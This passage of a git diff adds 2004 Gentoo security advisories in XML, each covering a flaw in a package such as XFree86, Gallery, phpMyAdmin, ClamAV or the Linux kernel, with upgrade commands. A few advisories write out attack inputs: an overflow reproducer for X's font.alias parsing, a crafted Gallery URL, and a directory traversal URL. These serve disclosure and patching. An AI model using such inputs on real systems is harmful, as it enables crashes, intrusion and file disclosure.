+    of privileges.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to update to honeyd version 0.8:
+    </p>
+    <code>
+    $> emerge sync
+    $> emerge -pv ">=net-analyzer/honeyd-0.8"
+    $> emerge ">=net-analyzer/honeyd-0.8"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.honeyd.org/adv.2004-01.asc">Honeyd Security Advisory 2004-001</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200401-03.xml b/xml/htdocs/security/en/glsa/glsa-200401-03.xml
new file mode 100644
index 00000000..affef9ae
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200401-03.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200401-03">
+  <title>Apache mod_python Denial of Service vulnerability</title>
+  <synopsis>
+    Apache's mod_python module could crash the httpd process if a specific,
+    malformed query string was sent.
+  </synopsis>
+  <product type="ebuild">mod_python</product>
+  <announced>January 27, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>39154</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_python" auto="yes" arch="*">
+      <unaffected range="ge">2.7.10</unaffected>
+      <vulnerable range="lt">2.7.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mod_python is an Apache module that embeds the Python interpreter
+    within the server allowing Python-based web-applications to be
+    created.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Apache Foundation has reported that mod_python may be prone to
+    Denial of Service attacks when handling a malformed
+    query. Mod_python 2.7.9 was released to fix the vulnerability,
+    however, because the vulnerability has not been fully fixed,
+    version 2.7.10 has been released.
+    </p>
+    <p>
+    Users of mod_python 3.0.4 are not affected by this vulnerability.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Although there are no known public exploits known for this
+    exploit, users are recommended to upgrade mod_python to ensure the
+    security of their infrastructure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Mod_python 2.7.10 has been released to solve this issue; there is
+    no immediate workaround.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users using mod_python 2.7.9 or below are recommended to
+    update their mod_python installation:
+    </p>
+    <code>
+    $> emerge sync
+    $> emerge -pv ">=www-apache/mod_python-2.7.10"
+    $> emerge ">=www-apache/mod_python-2.7.10"
+    $> /etc/init.d/apache restart</code>
+  </resolution>
+  <references>
+    <uri link="http://www.modpython.org/pipermail/mod_python/2004-January/014879.html">Mod_python 2.7.10 release announcement</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200401-04.xml b/xml/htdocs/security/en/glsa/glsa-200401-04.xml
new file mode 100644
index 00000000..1291d6b2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200401-04.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200401-04">
+  <title>GAIM 0.75 Remote overflows</title>
+  <synopsis>
+    Various overflows in the handling of AIM DirectIM packets was revealed in
+    GAIM that could lead to a remote compromise of the IM client.
+  </synopsis>
+  <product type="ebuild">GAIM</product>
+  <announced>January 26, 2004</announced>
+  <revised>January 26, 2004: 01</revised>
+  <bug>39470</bug>
+  <access>man-in-the-middle</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">0.75-r7</unaffected>
+      <vulnerable range="lt">0.75-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a multi-platform and multi-protocol instant messaging
+    client.  It is compatible with AIM , ICQ, MSN Messenger, Yahoo,
+    IRC, Jabber, Gadu-Gadu, and the Zephyr networks.
+    </p>
+  </background>
+  <description>
+    <p>
+    Yahoo changed the authentication methods to their IM servers,
+    rendering GAIM useless. The GAIM team released a rushed release
+    solving this issue, however, at the same time a code audit
+    revealed 12 new vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Due to the nature of instant messaging many of these bugs require
+    man-in-the-middle attacks between the client and the server. But
+    the underlying protocols are easy to implement and attacking
+    ordinary TCP sessions is a fairly simple task. As a result, all
+    users are advised to upgrade their GAIM installation.
+    </p>
+    <ul>
+      <li>
+        Users of GAIM 0.74 or below are affected by 7 of the
+        vulnerabilities and are encouraged to upgrade.
+      </li>
+      <li>
+        Users of GAIM 0.75 are affected by 11 of the vulnerabilities
+        and are encouraged to upgrade to the patched version of GAIM
+        offered by Gentoo.
+      </li>
+      <li>
+        Users of GAIM 0.75-r6 are only affected by
+        4 of the vulnerabilities, but are still urged to upgrade to
+        maintain security.
+      </li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no immediate workaround; a software upgrade is required.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to upgrade GAIM to 0.75-r7.
+    </p>
+    <code>
+    $> emerge sync
+    $> emerge -pv ">=net-im/gaim-0.75-r7"
+    $> emerge ">=net-im/gaim-0.75-r7"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/351235/2004-01-23/2004-01-29/0">Security advisory from Stefan Esser</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-01.xml b/xml/htdocs/security/en/glsa/glsa-200402-01.xml
new file mode 100644
index 00000000..5cff9f88
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-01.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-01">
+  <title>PHP setting leaks from .htaccess files on virtual hosts</title>
+  <synopsis>
+    If the server configuration &quot;php.ini&quot; file has
+    &quot;register_globals = on&quot; and a request is made to one virtual host
+    (which has &quot;php_admin_flag register_globals off&quot;) and the next
+    request is sent to the another virtual host (which does not have the
+    setting) global variables may leak and may be used to exploit the 
+    site.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>February 07, 2004</announced>
+  <revised>February 07, 2004: 01</revised>
+  <bug>39952</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.4-r4</unaffected>
+      <vulnerable range="lt">4.3.4-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    If the server configuration &quot;php.ini&quot; file has
+    &quot;register_globals = on&quot; and a request is made to one virtual host
+    (which has &quot;php_admin_flag register_globals off&quot;) and the next
+    request is sent to the another virtual host (which does not have the
+    setting) through the same apache child, the setting will persist.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Depending on the server and site, an attacker may be able to exploit
+    global variables to gain access to reserved areas, such as MySQL passwords,
+    or this vulnerability may simply cause a lack of functionality. As a
+    result, users are urged to upgrade their PHP installations.
+    </p>
+    <p>
+    Gentoo ships PHP with &quot;register_globals&quot; set to &quot;off&quot;
+    by default.
+    </p>
+    <p>    
+    This issue affects both servers running Apache 1.x and servers running
+    Apache 2.x.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    No immediate workaround is available; a software upgrade is required.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to upgrade their PHP installation to 4.3.4-r4:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=dev-php/mod_php-4.3.4-r4"
+    # emerge ">=dev-php/mod_php-4.3.4-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://bugs.php.net/bug.php?id=25753">Corresponding PHP bug</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-02.xml b/xml/htdocs/security/en/glsa/glsa-200402-02.xml
new file mode 100644
index 00000000..c96c3326
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-02.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-02">
+  <title>XFree86 Font Information File Buffer Overflow</title>
+  <synopsis>
+    Exploitation of a buffer overflow in the XFree86 Project Inc.'s XFree86 X
+    Window System allows local attackers to gain root privileges.
+  </synopsis>
+  <product type="ebuild">200402-02</product>
+  <announced>February 11, 2004</announced>
+  <revised>February 11, 2004: 01</revised>
+  <access>local</access>
+  <affected>
+    <package name="x11-base/xfree" auto="yes" arch="*">
+      <vulnerable range="lt">4.3.99.902-r1</vulnerable>
+      <unaffected range="eq">4.2.1-r3</unaffected>
+      <unaffected range="eq">4.3.0-r4</unaffected>
+      <unaffected range="ge">4.3.99.902-r1</unaffected>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XFree86, provides a client/server interface between display
+    hardware and the desktop environment while also providing both the
+    windowing infrastructure and a standardized API. XFree86 is
+    platform independent, network-transparent and extensible.
+    </p>
+  </background>
+  <description>
+    <p>
+    Exploitation of a buffer overflow in The XFree86 Window System
+    discovered by iDefence allows local attackers to gain root
+    privileges.
+    </p>
+    <p>
+    The problem exists in the parsing of the 'font.alias' file. The X
+    server (running as root) fails to check the length of the user
+    provided input, so a malicious user may craft a malformed
+    'font.alias' file causing a buffer overflow upon parsing,
+    eventually leading to the execution of arbitrary code.
+    </p>
+    <p>
+    To reproduce the overflow on the command line one can run:
+    </p>
+    <code>
+    # cat > fonts.dir &lt;&lt;EOF 
+    1
+    word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
+    EOF
+    # perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias
+    # X :0 -fp $PWD</code>
+    <p>
+    {Some output removed}... Server aborting... Segmentation fault (core dumped)
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Successful exploitation can lead to a root compromise provided
+    that the attacker is able to execute commands in the X11
+    subsystem. This can be done either by having console access to the
+    target or through a remote exploit against any X client program
+    such as a web-browser, mail-reader or game.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    No immediate workaround is available; a software upgrade is required.
+    </p>
+    <p>
+    Gentoo has released XFree 4.2.1-r3, 4.3.0-r4 and 4.3.99.902-r1 and
+    encourages all users to upgrade their XFree86
+    installations. Vulnerable versions are no longer available in
+    Portage.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to upgrade their XFree86 installation:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv x11-base/xfree
+    # emerge x11-base/xfree</code>
+  </resolution>
+  <references>
+    <uri
+    link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0083">CVE: CAN-2004-0083</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=72&amp;type=vulnerabilities">Vulnerability:
+    XFree86 Font Information File Buffer Overflow</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-03.xml b/xml/htdocs/security/en/glsa/glsa-200402-03.xml
new file mode 100644
index 00000000..ffeefb17
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-03.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-03">
+  <title>Monkeyd Denial of Service vulnerability</title>
+  <synopsis>
+    A bug in get_real_string() function allows for a Denial of Service attack to be
+    launched against the webserver.
+  </synopsis>
+  <product type="ebuild">monkeyd</product>
+  <announced>February 11, 2004</announced>
+  <revised>February 11, 2004: 01</revised>
+  <bug>41156</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/monkeyd" auto="yes" arch="*">
+      <unaffected range="ge">0.8.2</unaffected>
+      <vulnerable range="lt">0.8.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Monkey HTTP daemon is a Web server written in C that works
+    under Linux and is based on the HTTP/1.1 protocol. It aims to develop
+    a fast, efficient and small web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in the URI processing of incoming requests allows for a Denial of
+    Service to be launched against the webserver, which may cause the server
+    to crash or behave sporadically.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Although there are no public exploits known for bug, users are recommended
+    to upgrade to ensure the security of their infrastructure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no immediate workaround; a software upgrade is
+    required. The vulnerable function in the code has been rewritten.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to upgrade monkeyd to 0.8.2:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=www-servers/monkeyd-0.8.2"
+    # emerge ">=www-servers/monkeyd-0.8.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cvs.sourceforge.net/viewcvs.py/monkeyd/monkeyd/src/utils.c?r1=1.3&amp;r2=1.4">CVS Patch</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-04.xml b/xml/htdocs/security/en/glsa/glsa-200402-04.xml
new file mode 100644
index 00000000..407a1987
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-04.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-04">
+  <title>Gallery 1.4.1 and below remote exploit vulnerability</title>
+  <synopsis>
+    The Gallery developers have discovered a potentially serious security flaw
+    in Gallery 1.3.1, 1.3.2, 1.3.3, 1.4 and 1.4.1 which can allow a 
+    remote exploit of your webserver.
+  </synopsis>
+  <product type="ebuild">Gallery</product>
+  <announced>February 11, 2004</announced>
+  <revised>February 11, 2004: 01</revised>
+  <bug>39638</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1_p1</unaffected>
+      <vulnerable range="lt">1.4.1_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is an open source image management system written in PHP.
+    More information is available at http://gallery.sourceforge.net
+    </p>
+  </background>
+  <description>
+    <p>
+    Starting in the 1.3.1 release, Gallery includes code to simulate the behaviour
+    of the PHP 'register_globals' variable in environments where that setting
+    is disabled.  It is simulated by extracting the values of the various
+    $HTTP_ global variables into the global namespace.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A crafted URL such as 
+    http://example.com/gallery/init.php?HTTP_POST_VARS=xxx  causes the
+    'register_globals' simulation code to overwrite the $HTTP_POST_VARS which,
+    when it is extracted, will deliver the given payload. If the
+    payload compromises $GALLERY_BASEDIR then the malicious user can perform a
+    PHP injection exploit and gain remote access to the webserver with PHP 
+    user UID access rights.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The workaround for the vulnerability is to replace init.php and
+    setup/init.php with the files in the following ZIP file:
+    http://prdownloads.sourceforge.net/gallery/patch_1.4.1-to-1.4.1-pl1.zip?download 
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are encouraged to upgrade their gallery installation:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -p ">=www-apps/gallery-1.4.1_p1"
+    # emerge ">=www-apps/gallery-1.4.1_p1"</code>
+  </resolution>
+  <references>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-05.xml b/xml/htdocs/security/en/glsa/glsa-200402-05.xml
new file mode 100644
index 00000000..3b84cf46
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-05">
+  <title>phpMyAdmin &lt; 2.5.6-rc1: possible attack against export.php</title>
+  <synopsis>
+    A vulnerability in phpMyAdmin which was not properly verifying user
+    generated input could lead to a directory traversal attack.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>February 17, 2004</announced>
+  <revised>February 17, 2004: 01</revised>
+  <bug>40268</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.5.6_rc1</unaffected>
+      <vulnerable range="le">2.5.5_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the administration
+    of MySQL databased over the Web.
+    </p>
+  </background>
+  <description>
+    <p>
+    One component of the phpMyAdmin software package (export.php) does not
+    properly verify input that is passed to it from a remote user.  Since the
+    input is used to include other files, it is possible to launch a directory
+    traversal attack.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Private information could be gleaned from the remote server if an attacker
+    uses a malformed URL such as http://phpmyadmin.example.com/export.php?what=../../../[existing_file] 
+    </p>
+    <p>
+    In this scenario, the script does not sanitize the "what" argument passed
+    to it, allowing directory traversal attacks to take place, disclosing
+    the contents of files if the file is readable as the web-server user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The workaround is to either patch the export.php file using the 
+    referenced CVS patch or upgrade the software via Portage.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to phpMyAdmin-2.5.6_rc1:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=dev-db/phpmyadmin-2.5.6_rc1"
+    # emerge ">=dev-db/phpmyadmin-2.5.6_rc1"
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cvs.sourceforge.net/viewcvs.py/phpmyadmin/phpMyAdmin/export.php?r1=2.3&amp;r2=2.3.2.1">CVS Patch</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-06.xml b/xml/htdocs/security/en/glsa/glsa-200402-06.xml
new file mode 100644
index 00000000..fbbcf64e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-06.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-06">
+  <title>Updated kernel packages fix the AMD64 ptrace vulnerability</title>
+  <synopsis>
+    A vulnerability has been discovered by in the ptrace emulation code for
+    AMD64 platforms when eflags are processed, allowing a local user to obtain
+    elevated priveleges. 
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>February 17, 2004</announced>
+  <revised>February 17, 2004: 01</revised>
+  <access>local</access>
+  <affected>
+    <package name="sys-kernel/ck-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.6.2</unaffected>
+      <vulnerable range="lt">2.6.2</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.6.2</unaffected>
+      <vulnerable range="lt">2.6.2</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.6.2</unaffected>
+      <vulnerable range="lt">2.6.2</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.4.22-r6</unaffected>
+      <vulnerable range="lt">2.4.22-r6</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-test-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.6.2-r1</unaffected>
+      <vulnerable range="lt">2.6.2</vulnerable>
+    </package>
+    <package name="sys-kernel/gs-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.4.25_pre7-r1</unaffected>
+      <vulnerable range="lt">2.4.25_pre7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-prepatch-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.4.25_rc3</unaffected>
+      <vulnerable range="lt">2.4.25_rc3</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-sources" auto="yes" arch="amd64">
+      <unaffected range="ge">2.4.24-r1</unaffected>
+      <vulnerable range="lt">2.4.24-r1</vulnerable>
+    </package>
+  </affected>
+  <description>
+    <p>
+    A vulnerability has been discovered by Andi Kleen in the ptrace emulation
+    code for AMD64 platforms when eflags are processed, allowing a local user
+    to obtain elevated priveleges.  The Common Vulnerabilities and Exposures
+    project, http://cve.mitre.org, has assigned CAN-2004-0001 to this issue.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Only users of the AMD64 platform are affected: in this scenario, a user may
+    be able to obtain elevated priveleges, including root access. However, no
+    public exploit is known for the vulnerability at this time.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no temporary workaround - a kernel upgrade is required. A list of
+    unaffected kernels is provided along with this announcement.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for
+    their system:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv your-favourite-sources
+    # emerge your-favourite-sources
+    # # Follow usual procedure for compiling and installing a kernel.
+    # # If you use genkernel, run genkernel as you would do normally.
+    </code>
+    <code>
+    # # IF YOUR KERNEL IS MARKED as "remerge required!" THEN
+    # # YOU SHOULD UPDATE YOUR KERNEL EVEN IF PORTAGE
+    # # REPORTS THAT THE SAME VERSION IS INSTALLED.
+    </code>
+  </resolution>
+  <references>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200402-07.xml b/xml/htdocs/security/en/glsa/glsa-200402-07.xml
new file mode 100644
index 00000000..89904223
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200402-07.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200402-07">
+  <title>Clam Antivirus DoS vulnerability</title>
+  <synopsis>
+    Oliver Eikemeier has reported a vulnerability in Clam AV, which can be
+    exploited by a malformed uuencoded message causing a denial of service for
+    programs that rely on the clamav daemon, such as SMTP daemons.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>February 17, 2004</announced>
+  <revised>February 17, 2004: 01</revised>
+  <bug>41248</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.67</unaffected>
+      <vulnerable range="lt">0.67</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a GPLed anti-virus toolkit, designed for integration with
+    mail servers to perform attachment scanning. Clam AV also provides a
+    command line scanner and a tool for fetching updates of the virus database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Oliver Eikemeier of Fillmore Labs discovered the overflow in Clam AV 0.65
+    when it handled malformed UUEncoded messages, causing the daemon to shut
+    down.
+    </p>
+    <p>
+    The problem originated in libclamav which calculates the line length of an
+    uuencoded message by taking the ASCII value of the first character minus 64
+    while doing an assertion if the length is not in the allowed range,
+    effectively terminating the calling program as clamav would not be
+    available.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malformed message would cause a denial of service,
+    and depending on the server configuration this may impact other daemons
+    relying on Clam AV in a fatal manner.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no immediate workaround, a software upgrade is required.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are urged to upgrade their Clam AV installations to Clam AV 0.67:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=app-antivirus/clamav-0.6.7"
+    # emerge ">=app-antivirus/clamav-0.6.7"</code>
+  </resolution>
+  <references>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-01.xml b/xml/htdocs/security/en/glsa/glsa-200403-01.xml
new file mode 100644
index 00000000..0cde74d9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-01.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-01">
+  <title>Libxml2 URI Parsing Buffer Overflow Vulnerabilities</title>
+  <synopsis>
+    A buffer overflow has been discovered in libxml2 versions prior to
+    2.6.6 which may be exploited by an attacker allowing the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">libxml</product>
+  <announced>March 05, 2004</announced>
+  <revised>March 05, 2004: 01</revised>
+  <bug>42735</bug>
+  <access>local and remote combination</access>
+  <affected>
+    <package name="dev-libs/libxml2" auto="yes" arch="*">
+      <unaffected range="ge">2.6.6</unaffected>
+      <vulnerable range="lt">2.6.6</vulnerable>
+    </package>
+  </affected>
+  <description>
+    <p>
+    Yuuichi Teranishi discovered a flaw in libxml2 versions prior to 2.6.6.
+    When the libxml2 library fetches a remote resource via FTP or HTTP, libxml2
+    uses parsing routines that can overflow a buffer caused by improper bounds
+    checking if they are passed a URL longer than 4096 bytes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If an attacker is able to exploit an application using libxml2 that parses
+    remote resources, then this flaw could be used to execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    No workaround is available; users are urged to upgrade libxml2 to 2.6.6.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommended to upgrade their libxml2 installation:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=dev-libs/libxml2-2.6.6"
+    # emerge ">=dev-libs/libxml2-2.6.6"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0110">CVE 2004-0110</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-02.xml b/xml/htdocs/security/en/glsa/glsa-200403-02.xml
new file mode 100644
index 00000000..6c91741f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-02.xml
@@ -0,0 +1,244 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-02">
+  <title>Linux kernel do_mremap local privilege escalation vulnerability</title>
+  <synopsis>
+    A critical security vulnerability has been found in recent Linux kernels by
+    Paul Starzetz of iSEC Security Research which allows for local privilege
+    escalations.
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>March 05, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>42024</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-kernel/aa-sources" auto="no" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/alpha-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r4</unaffected>
+      <vulnerable range="lt">2.4.21-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/ck-sources" auto="no" arch="*">
+      <unaffected range="eq">2.4.24-r1</unaffected>
+      <unaffected range="ge">2.6.2-r1</unaffected>
+      <vulnerable range="lt">2.6.2-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/compaq-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.9.32.7-r2</unaffected>
+      <vulnerable range="lt">2.4.9.32.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.3_rc1</unaffected>
+      <vulnerable range="lt">2.6.3_rc1</vulnerable>
+    </package>
+    <package name="sys-kernel/gaming-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.20-r8</unaffected>
+      <vulnerable range="lt">2.4.20-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.3_rc1</unaffected>
+      <vulnerable range="lt">2.6.3_rc1</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-sources" auto="yes" arch="*">
+      <unaffected range="eq">2.4.19-r11</unaffected>
+      <unaffected range="eq">2.4.20-r12</unaffected>
+      <unaffected range="ge">2.4.22-r7</unaffected>
